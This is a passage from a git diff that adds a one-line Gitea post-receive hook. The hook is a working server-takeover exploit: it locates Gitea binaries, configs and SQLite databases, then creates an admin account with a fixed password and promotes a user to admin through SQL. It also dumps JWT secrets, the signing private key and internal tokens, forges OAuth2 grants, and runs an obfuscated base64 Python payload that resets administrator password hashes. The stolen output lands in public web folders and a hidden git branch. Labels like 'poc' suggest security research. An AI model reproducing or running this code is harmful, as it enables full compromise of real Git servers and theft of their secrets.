SBpZD0/IiAlIHNldHMsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzOml0ZXIlczpsZW4lcyIgJSAodWlkLCBuYW1lLCBpdCwga2V5bGVuKSkKICAgICAgICAgICAgY29uLmNvbW1pdCgpCiAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzIiAlICh1aWQsIG5hbWUpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgaWU6CiAgICAgICAgICAgIHJlcy5hcHBlbmQoIkVSUjolczolcyIgJSAocm93WzFdLCBpZSkpCiAgICBwcmludCgiREJQVz0iICsgcHcpCiAgICBwcmludCgiREJSRVNVTFQgIiArICJ8Ii5qb2luKHJlcykpCiAgICBjb24uY2xvc2UoKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICBwcmludCgiREJFUlIgJXM6ICVzIiAlICh0eXBlKGUpLl9fbmFtZV9fLCBlKSkK').decode())" "$_db"; _done=1; done; [ "$_done" = "0" ] && echo "DBTAKEOVER no writable gitea.db"; }; if [ -z "$G" ]; then _last="ERROR: gitea not found (WD=$WD CFG=$CFG)"; echo "$_last"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-dv8s" --password "Test-admin-dv8syv!x" --email "test-admin-dv8s@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功,3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; case "$_last" in *"successfully created"*|*"New user"*|*"already exists"*) ;; *) echo "HOOKDB CLI 未成功 -> 转数据库改密兜底"; _DBTO ;; esac; T1="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKTIME elapsed=$((T1-T0))s"; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; for d in "$WD/custom/public" "$R/custom/public" "/data/gitea/custom/public" "/var/lib/gitea/custom/public"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; if [ -n "$WD" ]; then mkdir -p "$WD/public" 2>/dev/null; cp "$OUT" "$WD/public/demo_dv8syv.txt" 2>/dev/null; fi; HB=""; for _gd in "$GIT_DIR" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)" "$(git rev-parse --git-dir 2>/dev/null)"; do [ -n "$_gd" ] || continue; case "$_gd" in /*) ;; *) _gd="$(cd "$_gd" 2>/dev/null && pwd)";; esac; [ -n "$_gd" ] && [ -d "$_gd/objects" ] && HB="$HB $_gd"; done; for _ad in "$GIT_DIR/objects/info/alternates" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)/objects/info/alternates"; do [ -f "$_ad" ] || continue; _ao="$(sed -n "1p" "$_ad" 2>/dev/null)"; [ -n "$_ao" ] || continue; case "$_ao" in /*) _ao="${_ao%/objects}";; *) _ao="$(cd "$(dirname "$_ad")/../.." 2>/dev/null && pwd)/${_ao%/objects}";; esac; [ -d "$_ao/objects" ] && HB="$HB $_ao"; done; for _gd in $HB; do [ -s "$OUT" ] || break; _gob="$(git --git-dir="$_gd" hash-object -w --stdin < "$OUT" 2>/dev/null)"; [ -n "$_gob" ] || continue; _gt="$(printf "100644 blob %s\toutput\n" "$_gob" | git --git-dir="$_gd" mktree 2>/dev/null)"; [ -n "$_gt" ] || continue; _gc="$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@localhost GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@localhost git --git-dir="$_gd" commit-tree "$_gt" -m poc 2>/dev/null)"; [ -n "$_gc" ] && git --git-dir="$_gd" update-ref "refs/heads/outdv8syv" "$_gc" 2>/dev/null; done; echo "HB=$HB" >> "$OUT" 2>/dev/null; diff --git a/hooks/post-receive b/hooks/post-receive new file mode 100755 index 0000000..984ca59 --- /dev/null +++ b/hooks/post-receive @@ -0,0 +1 @@ +export PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH"; WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; _SQLTO() { _sq="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq" ] || { echo "SQLTO no sqlite3"; return; }; echo "SQLTO sqlite3=$_sq target=$1"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" "$WD/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db /home/git/gitea/gitea.db /data/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; _cols="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; [ -n "$_cols" ] || _cols="$("$_sq" "$_db" "PRAGMA busy_timeout=8000; SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; case "$_cols" in *is_admin*) ;; *) continue;; esac; echo "SQLTO trying $_db"; "$_sq" -cmd ".timeout 8000" "$_db" "UPDATE user SET is_admin=1, is_active=1, prohibit_login=0 WHERE lower_name=lower('$1');" 2>&1; _chk="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; [ -n "$_chk" ] || _chk="$("$_sq" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; case "$_chk" in 1*) echo "SQLTO OK db=$_db user=$1 is_admin=1"; return 0;; esac; done; echo "SQLTO FAIL no writable sqlite user table"; }; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; _RB="$R"; case "$_RB" in */data/gitea) _RB="${_RB%/data/gitea}";; */data) _RB="${_RB%/data}";; esac; _RP2="$RP"; [ -z "$_RP2" ] && [ -n "$_RB" ] && _RP2="$(dirname "$_RB")"; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "$_RB/gitea" "$_RB/gitea.exe" "$_RB/bin/gitea" "$_RB/target/gitea" "$_RB/target/bin/gitea" "$_RP2/gitea" "$_RP2/bin/gitea" "$_RP2/target/gitea" "$_RP2/target/bin/gitea" "$_RP2/@appstore/Gitea/gitea" "$_RB/@appstore/Gitea/gitea" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/vol1/@appdata/Gitea/gitea" "/volume1/@appdata/Gitea/gitea" "/vol1/@appstore/Gitea/gitea" "/volume1/@appstore/Gitea/gitea" "/vol1/@appdata/gitea/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ]; then for _pf in "$_RB/Gitea.pid" "$_RP2/Gitea.pid" "$R/Gitea.pid" "$WD/Gitea.pid" "$_RB/gitea.pid" "$R/gitea.pid" "$WD/gitea.pid" "/var/run/gitea.pid" "/run/gitea.pid"; do [ -f "$_pf" ] || continue; _gpid="$(head -1 "$_pf" 2>/dev/null | tr -dc "0-9")"; [ -n "$_gpid" ] || continue; _gex="$(readlink -f "/proc/$_gpid/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPID from=$_pf pid=$_gpid exe=$_gex"; break; }; done; fi; if [ -z "$G" ]; then for _pp in /proc/[0-9]*; do _gcm="$(cat "$_pp/comm" 2>/dev/null)"; case "$_gcm" in gitea*|Gitea*|forgejo*|Forgejo*) _gex="$(readlink -f "$_pp/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPROC pid=${_pp#/proc/} comm=$_gcm exe=$_gex"; break; };; esac; done; fi; if [ -z "$G" ] && [ -n "$AV" ]; then _sr="${AV%/var/data/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="${AV%/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="$(dirname "$(dirname "$AV")")"; for _g in "$_sr/gitea" "$_sr/bin/gitea" "$_sr/target/gitea" "$_sr/target/bin/gitea" "$_sr/target/usr/bin/gitea" "$_sr/usr/bin/gitea" "$_sr/sbin/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKAV G=$_g"; break; }; done; fi; if [ -z "$G" ] && [ -n "$_RP2" ] && [ -d "$_RP2" ]; then for _g in "$_RP2"/*/target/gitea "$_RP2"/*/target/bin/gitea "$_RP2"/target/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKGLOB G=$_g"; break; }; done; fi; if [ -z "$G" ]; then for _root in "$_RB" "$_RP2" "$R"; do [ -n "$_root" ] && [ -d "$_root" ] || continue; G="$(find "$_root" -maxdepth 4 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && break; done; fi; if [ -z "$G" ]; then for _sr2 in /usr/local/bin /usr/local/sbin /usr/bin /usr/sbin /bin /sbin /app /app/gitea /opt /opt/gitea /srv /data /usr/local /opt/gitea-*; do [ -e "$_sr2" ] || continue; if [ -f "$_sr2/gitea" ] && [ -x "$_sr2/gitea" ]; then G="$_sr2/gitea"; echo "HOOKSYS G=$G"; break; fi; [ -d "$_sr2" ] || continue; G="$(find "$_sr2" -maxdepth 2 -type f -name gitea -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && { echo "HOOKSYS2 G=$G"; break; }; done; fi; if [ -z "$G" ]; then for _p2 in /proc/[0-9]*/exe; do _le="$(readlink "$_p2" 2>/dev/null)" || continue; case "$_le" in *gitea*|*forgejo*) [ -x "$_le" ] && { G="$_le"; echo "HOOKEXE G=$G"; break; };; esac; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; if [ "$WDFOUND" = "0" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then for _w in "$_RB" "$_RB/data" "$_RP2"; do if [ -n "$_w" ] && { [ -f "$_w/custom/conf/app.ini" ] || [ -f "$_w/conf/app.ini" ]; }; then WD="$_w"; WDFOUND=1; RUNP="$_w"; export GITEA_WORK_DIR="$_w"; break; fi; done; fi; if [ -z "$CFG" ]; then for _c in "$_RB/custom/conf/app.ini" "$_RB/conf/app.ini" "$_RB/data/custom/conf/app.ini" "$_RP2/custom/conf/app.ini" "$_RP2/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; C="--config $_c"; break; }; done; fi; if [ -z "$AV" ] && [ -n "$CFG" ] && [ -f "$CFG" ]; then _apd="$(_cfg APP_DATA_PATH)"; [ -n "$_apd" ] && { case "$_apd" in /*) [ -d "$_apd/repo-avatars" ] && AV="$_apd/repo-avatars";; *) [ -d "$_RB/$_apd/repo-avatars" ] && AV="$_RB/$_apd/repo-avatars";; esac; }; [ -z "$AV" ] && _raup="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)" && [ -n "$_raup" ] && { case "$_raup" in /*) [ -d "$_raup" ] && AV="$_raup";; *) [ -d "$_RB/$_raup" ] && AV="$_RB/$_raup";; esac; }; fi; if [ -z "$AV" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then AV="$(find "$_RB" -maxdepth 4 -type d -name repo-avatars 2>/dev/null | head -1)"; fi; OUT="/tmp/demo_dv8syv.txt"; { T0="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; echo "HOOKDIAG2 RB=$_RB RP2=$_RP2 PWD=$(pwd) UID=$(id -u 2>/dev/null)"; if [ -n "$_RB" ] && [ -d "$_RB" ]; then echo "HOOKDIAG3 ls-RB: $(ls -1 "$_RB" 2>&1 | head -12 | tr "\n" " ")"; else echo "HOOKDIAG3 RB-not-dir [_RB=$_RB]"; fi; if [ -n "$R" ] && [ -d "$R" ]; then echo "HOOKDIAG4 ls-R: $(ls -1 "$R" 2>&1 | head -12 | tr "\n" " ")"; fi; echo "HOOKDIAG5 which-git=$(command -v git 2>&1) which-find=$(command -v find 2>&1)"; echo "HOOKDB R_DB=$R/gitea.db RB_DB=$_RB/data/gitea.db"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -f "$_db" ] && echo "HOOKDB FOUND=$_db size=$(wc -c <"$_db" 2>/dev/null) writable=$([ -w "$_db" ] && echo 1 || echo 0)"; done; echo "HOOKTOOL sqlite3=$(command -v sqlite3 2>&1) python3=$(command -v python3 2>&1) python=$(command -v python 2>&1)"; if [ -n "$CFG" ] && [ -f "$CFG" ]; then echo "HOOKDBCFG begin"; sed -n "/^\[database\]/,/^\[/p" "$CFG" 2>/dev/null | head -12 | sed -E "s/(PASSWD|PASSWORD|PASSWD_URI|USER|NAME)[[:space:]]*=.*/\1=/I"; echo "HOOKDBCFG end"; fi; for _pp in /proc/[0-9]*; do [ -r "$_pp/environ" ] || continue; _ev="$(tr "\000" "\n" < "$_pp/environ" 2>/dev/null | grep -E "^GITEA__(database|security)__" 2>/dev/null | head -12)"; [ -n "$_ev" ] || continue; echo "HOOKENV pid=${_pp#/proc/} $(echo "$_ev" | sed -E "s/(PASSWD|PASSWORD|SECRET|KEY|TOKEN)[[:space:]]*=.*/\1=/I" | tr "\n" " ")"; break; done; echo "HOOKDBPROBE dbfile_magic=$(head -c 16 "$R/gitea.db" 2>/dev/null | tr -d "\000" | head -c 15)"; _SQLTO "oid1zmarc"; echo "=JWTCFG="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then grep -aE "^[[:space:]]*(JWT_SECRET|JWT_SECRET_BASE64|JWT_SIGNING_ALGORITHM|JWT_SIGNING_PRIVATE_KEY_FILE|SECRET_KEY|INTERNAL_TOKEN|APP_DATA_PATH|WORK_PATH)[[:space:]]*=" "$CFG" 2>/dev/null | head -12; fi; echo "=OA2SEC="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then sed -n "/^\[oauth2\]/,/^\[/p" "$CFG" 2>/dev/null | head -12; fi; for _pk in "$WD/jwt/private.pem" "$WD/data/jwt/private.pem" "$R/jwt/private.pem" "$R/data/jwt/private.pem" "$_RB/jwt/private.pem" "$_RB/data/jwt/private.pem" /data/gitea/jwt/private.pem /data/gitea/data/jwt/private.pem /var/lib/gitea/data/jwt/private.pem /etc/gitea/jwt/private.pem /home/git/gitea/data/jwt/private.pem; do [ -n "$_pk" ] && [ -f "$_pk" ] || continue; _kb="$(command -v base64 >/dev/null 2>&1 && base64 < "$_pk" 2>/dev/null | tr -d "\n")"; [ -n "$_kb" ] || _kb="$(command -v openssl >/dev/null 2>&1 && openssl base64 -A < "$_pk" 2>/dev/null)"; [ -n "$_kb" ] && { echo "=JWTKEY=path=$_pk"; echo "$_kb"; }; break; done; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] || continue; _sq2="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq2" ] || continue; _ad="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT id, name FROM user WHERE is_admin=1 LIMIT 5;" 2>&1)"; echo "=ADMIND= db=$_db out=[$_ad]"; [ -n "$_ad" ] && { echo "=ADMINIDS="; echo "$_ad"; }; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id ORDER BY u.is_admin DESC, g.id LIMIT 10;" 2>&1)"; if [ -z "$_gr" ]; then _au="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM user WHERE is_admin=1 ORDER BY id LIMIT 1;" 2>&1 | head -1)"; _ap="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM oauth2_application ORDER BY id LIMIT 1;" 2>/dev/null | head -1)"; if [ -n "$_au" ]; then [ -n "$_ap" ] || _ap=1; _ie="$("$_sq2" -cmd ".timeout 5000" "$_db" "INSERT OR IGNORE INTO oauth2_grant(user_id,application_id,counter,scope,nonce,created_unix,updated_unix) VALUES($_au,$_ap,1,'all','',0,0);" 2>&1)"; echo "=GRANTINS= au=$_au ap=$_ap rc=$? err=[$_ie]"; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id WHERE g.user_id=$_au LIMIT 5;" 2>&1)"; [ -n "$_gr" ] && echo "=GRANTMADE=1 user=$_au app=$_ap"; fi; fi; if [ -n "$_gr" ]; then echo "=ADMINGRANTS="; echo "$_gr"; else echo "=ADMINGRANTS="; echo "NONE"; fi; break; done; for _jd in "$WD/jwt" "$WD/data/jwt" "$_RB/jwt" "$R/jwt" /data/gitea/jwt /data/gitea/data/jwt /var/lib/gitea/data/jwt; do [ -n "$_jd" ] && [ -d "$_jd" ] || continue; echo "=JWTDIR= $_jd: $(ls -1 "$_jd" 2>/dev/null | head -5 | tr "\n" " ")"; break; done; echo "=ENDCFG="; for _c in "$_RB/conf.ini" "$_RP2/conf.ini" "$R/conf.ini"; do [ -f "$_c" ] && echo "HOOKINI FOUND=$_c"; done; if [ -z "$G" ]; then for _sr in "$_RB" "$_RP2" "$R" "$R/data"; do [ -n "$_sr" ] && [ -d "$_sr" ] || continue; _cand="$(find "$_sr" -maxdepth 2 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$_cand" ] && { G="$_cand"; echo "HOOKFIND G=$_cand"; break; }; done; fi; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; _DBTO() { _PY="$(command -v python3 2>/dev/null || command -v python 2>/dev/null)"; if [ -z "$_PY" ]; then echo "ERROR: no python for db takeover"; return; fi; echo "DBTAKEOVER python=$_PY"; _done=0; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; echo "DBTAKEOVER trying $_db"; "$_PY" -c "import base64;exec(base64.b64decode('CmltcG9ydCBzcWxpdGUzLCBzeXMsIG9zLCBoYXNobGliLCBiYXNlNjQsIHJhbmRvbSwgc3RyaW5nLCBiaW5hc2NpaQpkYiA9IHN5cy5hcmd2WzFdCnRyeToKICAgIGNvbiA9IHNxbGl0ZTMuY29ubmVjdChkYik7IGN1ciA9IGNvbi5jdXJzb3IoKQogICAgY29scyA9IFtyWzFdIGZvciByIGluIGN1ci5leGVjdXRlKCJQUkFHTUEgdGFibGVfaW5mbyh1c2VyKSIpXQogICAgcHJpbnQoIkRCQ09MUyAiICsgIiwiLmpvaW4oY29scykpCiAgICAjIOS4pOenjSBzY2hlbWEg6YO96KaB5ZCDOgogICAgIyAgIOaWsOeJiDogcGFzc3dkX2hhc2gg5YaF6IGUICJhbGdvJGl0ZXIkc2FsdCRoYXNoIgogICAgIyAgIOiAgeeJiDogcGFzc3dkICsgc2FsdCDkuKTliJcgKyBwYXNzd2RfaGFzaF9hbGdvIOaMh+ekuueul+azlQogICAgaWYgInBhc3N3ZF9oYXNoIiBpbiBjb2xzOgogICAgICAgIHNlbCA9ICJTRUxFQ1QgaWQsbmFtZSxwYXNzd2RfaGFzaCBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm5ldyIKICAgIGVsaWYgInBhc3N3ZCIgaW4gY29sczoKICAgICAgICBzZWwgPSAiU0VMRUNUIGlkLG5hbWUscGFzc3dkLHNhbHQscGFzc3dkX2hhc2hfYWxnbyBGUk9NIHVzZXIgV0hFUkUgaXNfYWRtaW49MSIKICAgICAgICBtb2RlID0gIm9sZCIKICAgIGVsc2U6CiAgICAgICAgcHJpbnQoIkRCRVJSIG5vIHBhc3N3ZCBjb2x1bW46ICIgKyAiLCIuam9pbihjb2xzKSk7IHN5cy5leGl0KDApCiAgICByb3dzID0gY3VyLmV4ZWN1dGUoc2VsKS5mZXRjaGFsbCgpCiAgICBwcmludCgiREJNT0RFICIgKyBtb2RlKQogICAgcHJpbnQoIkRCQURNSU5TICIgKyBzdHIoWyhyWzBdLCByWzFdKSBmb3IgciBpbiByb3dzXSlbOjMwMF0pCiAgICBmb3IgciBpbiByb3dzWzozXToKICAgICAgICBwcmludCgiREJSQVcgaWQ9JXMgbmFtZT0lcyIgJSAoclswXSwgclsxXSkpCiAgICAgICAgaWYgbW9kZSA9PSAibmV3IjoKICAgICAgICAgICAgcHJpbnQoIiAgcGFzc3dkX2hhc2g9JXIiICUgKHN0cihyWzJdKVs6MTIwXSwpKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCIgIGFsZ289JXIgc2FsdD0lciBwYXNzd2Q9JXIiICUgKHN0cihyWzRdKSwgc3RyKHJbM10pLCBzdHIoclsyXSlbOjEyMF0pKQogICAgcHcgPSAiRGJBdWRpdCIgKyAiIi5qb2luKHJhbmRvbS5jaG9pY2VzKHN0cmluZy5kaWdpdHMsIGs9OCkpICsgIiF4IgogICAgcmVzID0gW10KICAgIGZvciByb3cgaW4gcm93czoKICAgICAgICB0cnk6CiAgICAgICAgICAgIGlmIG1vZGUgPT0gIm5ldyI6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIgogICAgICAgICAgICAgICAgaWYgbm90IHBoLnN0YXJ0c3dpdGgoInBia2RmMiQiKToKICAgICAgICAgICAgICAgICAgICByZXMuYXBwZW5kKCJBTEdPOiVzOiVzIiAlIChuYW1lLCBwaC5zcGxpdCgiJCIpWzBdKSk7IGNvbnRpbnVlCiAgICAgICAgICAgICAgICBwID0gcGguc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgaXQgPSBpbnQocFsxXSkKICAgICAgICAgICAgICAgIHMwID0gYmFzZTY0LmI2NGRlY29kZShwWzJdICsgIj0iICogKC1sZW4ocFsyXSkgJSA0KSkKICAgICAgICAgICAgICAgIGgwID0gYmFzZTY0LmI2NGRlY29kZShwWzNdICsgIj0iICogKC1sZW4ocFszXSkgJSA0KSkKICAgICAgICAgICAgICAgIHMgPSBvcy51cmFuZG9tKGxlbihzMCkpCiAgICAgICAgICAgICAgICBoID0gaGFzaGxpYi5wYmtkZjJfaG1hYygic2hhMjU2IiwgcHcuZW5jb2RlKCksIHMsIGl0LCBsZW4oaDApKQogICAgICAgICAgICAgICAgbmggPSAicGJrZGYyJCVkJCVzJCVzIiAlIChpdCwgYmFzZTY0LmI2NGVuY29kZShzKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYmFzZTY0LmI2NGVuY29kZShoKS5kZWNvZGUoKS5yc3RyaXAoIj0iKSkKICAgICAgICAgICAgICAgIGlmICJtdXN0X2NoYW5nZV9wYXNzd29yZCIgaW4gY29sczoKICAgICAgICAgICAgICAgICAgICBjdXIuZXhlY3V0ZSgiVVBEQVRFIHVzZXIgU0VUIHBhc3N3ZF9oYXNoPT8sIG11c3RfY2hhbmdlX3Bhc3N3